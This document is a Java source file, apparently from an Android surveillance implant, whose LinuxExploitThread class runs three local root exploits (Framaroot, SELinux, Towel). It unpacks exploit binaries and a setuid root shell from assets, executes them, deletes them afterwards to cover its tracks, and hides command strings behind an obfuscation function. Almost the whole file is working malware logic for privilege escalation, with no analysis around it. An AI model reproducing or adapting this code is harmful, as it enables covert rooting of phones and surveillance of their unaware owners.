package com.android.dvci;
import com.android.dvci.auto.Cfg;
import com.android.dvci.capabilities.PackageInfo;
import com.android.dvci.file.AutoFile;
import com.android.dvci.util.Check;
import com.android.dvci.util.Execute;
import com.android.dvci.util.Utils;
import com.android.mm.M;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.concurrent.Semaphore;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Created by zeno on 21/08/14.
*/
class LinuxExploitThread implements Runnable {
private static final String TAG = "selinuxExploitThread";
private final boolean frama;
private final boolean selinux;
private final boolean towel;
Semaphore semaphore = new Semaphore(1);
public LinuxExploitThread(boolean frama, boolean selinux, boolean towel) {
this.frama = frama;
this.selinux = selinux;
this.towel = towel;
}
@Override
public void run() {
try {
if (!semaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone), already exploiting");
}
return;
}
if (frama) {
if (Root.checkFramarootExploitability()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone): Device seems frama exploitable"); //$NON-NLS-1$
}
Root.method = M.e("framaroot");
runFramalinuxExploit();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone), not exploitable by Framaroot");
}
}
}
if (selinux && PackageInfo.checkRoot() == false) {
if (Root.checkSELinuxExploitability()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone): SELinux Device seems locally exploitable"); //$NON-NLS-1$
}
Root.method = M.e("selinux");
runSelinuxExploit();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone), not exploitable by Selinux");
}
}
}
if (towel && PackageInfo.checkRoot() == false) {
if (Root.checkTowelExploitability()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone): Device seems Towel locally exploitable"); //$NON-NLS-1$
}
Root.method = M.e("towel");
runTowelExploit();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (exploitPhone), not exploitable by towel");
}
}
}
} finally {
semaphore.release();
}
}
public void runFramalinuxExploit() {
final File filesPath = Status.getAppContext().getFilesDir();
final String path = filesPath.getAbsolutePath();
final String localExploit = M.e("l");
try {
Utils.dumpAsset(M.e("lb.data"), localExploit);
Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + localExploit);
// Unpack the suid shell
final String suidShell = M.e("ss"); // suid shell
// preprocess/suidext
Utils.dumpAsset(M.e("sb.data"), suidShell);
Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + suidShell);
// Create the rooting script
String pack = Status.getAppContext().getPackageName();
Execute.execute(String.format(M.e("/data/data/%s/files/l /data/data/%s/files/ss rt"), pack, pack));
File file = new File(Status.getAppContext().getFilesDir(), localExploit);
file.delete();
file = new File(Status.getAppContext().getFilesDir(), suidShell);
file.delete();
} catch (final Exception e1) {
if (Cfg.EXCEPTION) {
Check.log(e1);
}
if (Cfg.DEBUG) {
Check.log(e1);//$NON-NLS-1$
Check.log(TAG + " (framarootExploit): Exception"); //$NON-NLS-1$
}
}
}
/**
* checks if a pid is running,
*
* @param pid
* the pid to search
*/
static boolean pidAlive(String pid){
AutoFile file = new AutoFile(M.e("/proc/"), pid);
if(file!=null && file.exists()){
return true;
}
return false;
}
/**
* checks if the Selinux exploit is running,
*
* @param pid
* the selinux pid
* Note: here we know that once the exploit succeeds
* its process cmdline changes from whateverisnamedthexex to "event_handler".
* So to know when the selinux succeeds or not, we check both for the pid availability
* and its name.
*/
static boolean pidSeExAlive(String pid){
final Pattern pattern = Pattern.compile(M.e("event_handler"));
if(pidAlive(pid)){
try {
String stat = AutoFile.getFileContents( M.e("/proc/")+pid+"/" + M.e("stat"));
Matcher matcher = pattern.matcher(stat);
if (matcher.find()) {
return false;
}
}catch(Exception e1){
if (Cfg.EXCEPTION) {
Check.log(e1);
}
if (Cfg.DEBUG) {
Check.log(e1);//$NON-NLS-1$
Check.log(TAG + " (pidSeExAlive): Exception"); //$NON-NLS-1$
}
}
return true;
}
return false;
}
/**
* Returns the pid of a matching line of the ps command, null
* if not found
*
* @param lookFor
* the string to search for
*/
static String pidOf(String lookFor) {
String line;
//Executable file name of the application to check.
String pid=null;
boolean applicationIsOk = false;
//Running command that will get all the working processes.
Process proc = null;
try {
proc = Runtime.getRuntime().exec("ps");
} catch (IOException e) {
e.printStackTrace();
}
if(proc != null) {
InputStream stream = proc.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
//Parsing the input stream.
try {
while ((line = reader.readLine()) != null) {
Pattern pattern = Pattern.compile(lookFor);
Matcher matcher = pattern.matcher(line);
if (matcher.find()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (pidOf): find=" + lookFor + "in:\n" + line);
}
//esempio u0_a72 24334 1 5900 5280 ffffffff 00000000 R /data/data/com.android.dvci/files/vs
String[] splited = line.split("\\s+");
if(splited.length>3){
int p = -1;
try {
p = Integer.parseInt(splited[1]);
}catch(NumberFormatException nf){
if (Cfg.DEBUG) {
Check.log(TAG + " (pidOf): failure parsing:"+splited[1]);
}
}
if(p>0){
pid = new String(splited[1]);
}
}
break;
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
return pid;
}
public void runSelinuxExploit() {
final File filesPath = Status.getAppContext().getFilesDir();
final String path = filesPath.getAbsolutePath();
final String localExploit = M.e("vs"); // selinux_exploit
final String selinuxSuidext = M.e("qj"); // selinux_suidext
final String suidext = M.e("ss"); // suidext (standard)
AutoFile vs = new AutoFile(path, localExploit);
if (vs.exists()) {
if(checkSelinuxExecution(path+"/"+localExploit)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (runSelinuxExploit) localexploit was already running");
}
return;
}
}
try {
Utils.dumpAsset(M.e("gb.data"), localExploit); // selinux_exploit
Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext
Utils.dumpAsset(M.e("sb.data"), suidext);// suidext
String args = String.format(M.e("%s/%s %s/%s %s/%s"),
path, localExploit, path, selinuxSuidext, path, suidext);
Execute.execute(M.e("/system/bin/chmod 755 ") + args);
// Run SELinux exploit
// - argv[1]: path assoluto alla nuova shell
// - argv[2]: path assoluto alla vecchia shell
//String pack = Status.getAppContext().getPackageName();
if (Cfg.DEBUG) {
Check.log(TAG + " (runSelinuxExploit), executing exploit");
}
int ret = Execute.executeSimple(args).exitCode;
if (Cfg.DEBUG) {
Check.log(TAG + " (runSelinuxExploit), execution result: " + ret);
}
checkSelinuxExecution(path+"/"+localExploit);
} catch (final Exception e1) {
if (Cfg.EXCEPTION) {
Check.log(e1);
}
if (Cfg.DEBUG) {
Check.log(e1);//$NON-NLS-1$
Check.log(TAG + " (runSelinuxExploit): Exception"); //$NON-NLS-1$
}
return;
} finally {
File file = new File(path, localExploit);
file.delete();
file = new File(path, selinuxSuidext);
file.delete();
file = new File(path, suidext);
file.delete();
}
}
private void runTowelExploit() {
final File filesPath = Status.getAppContext().getFilesDir();
final String path = filesPath.getAbsolutePath();
final String localExploit = M.e("vs"); // selinux4_exploit
final String selinuxSuidext = M.e("qj"); // selinux_suidext
final String suidext = M.e("ss"); // suidext (standard)
AutoFile vs = new AutoFile(path, localExploit);
if (vs.exists()) {
if(checkSelinuxExecution(path+"/"+localExploit)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (runTowelExploit) localexploit was already running");
}
return;
}
}
try {
Utils.dumpAsset(M.e("ob.data"), localExploit); // selinux4_exploit
Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext
Utils.dumpAsset(M.e("sb.data"), suidext);// suidext
String args = String.format(M.e("%s/%s %s/%s %s/%s"),
path, localExploit, path, selinuxSuidext, path, suidext);
Execute.execute(M.e("/system/bin/chmod 755 ") + args);
// Run SELinux exploit
// - argv[1]: path assoluto alla nuova shell
// - argv[2]: path assoluto alla vecchia shell
//String pack = Status.getAppContext().getPackageName();
if (Cfg.DEBUG) {
Check.log(TAG + " (runTowelExploit), executing exploit");
}
int ret = Execute.executeSimple(args).exitCode;
if (Cfg.DEBUG) {
Check.log(TAG + " (runTowelExploit), execution result: " + ret);
}
checkSelinuxExecution(path+"/"+localExploit);
} catch (final Exception e1) {
if (Cfg.EXCEPTION) {
Check.log(e1);
}
if (Cfg.DEBUG) {
Check.log(e1);//$NON-NLS-1$
Check.log(TAG + " (runTowelExploit): Exception"); //$NON-NLS-1$
}
return;
} finally {
File file = new File(path, localExploit);
file.delete();
file = new File(path, selinuxSuidext);
file.delete();
file = new File(path, suidext);
file.delete();
}
}
private boolean checkSelinuxExecution(String executable) {
String forked= pidOf(executable);
if(forked!=null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (runSelinuxExploit): lets wait forked pid "+forked+" to exit");
}
/* wait for 10min max to see if exploits ends*/
long startedAt = System.currentTimeMillis();
long _10minDelta = 10*60*(1000);
while((System.currentTimeMillis()-startedAt<(_10minDelta)) && pidSeExAlive(forked)){
try{
if (Cfg.DEBUG) {
Check.log(TAG + " (runSelinuxExploit):forked exploit still running");
}
Thread.sleep(1000*10);
}catch (Exception e){
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
}
return true;
}
return false;
}
}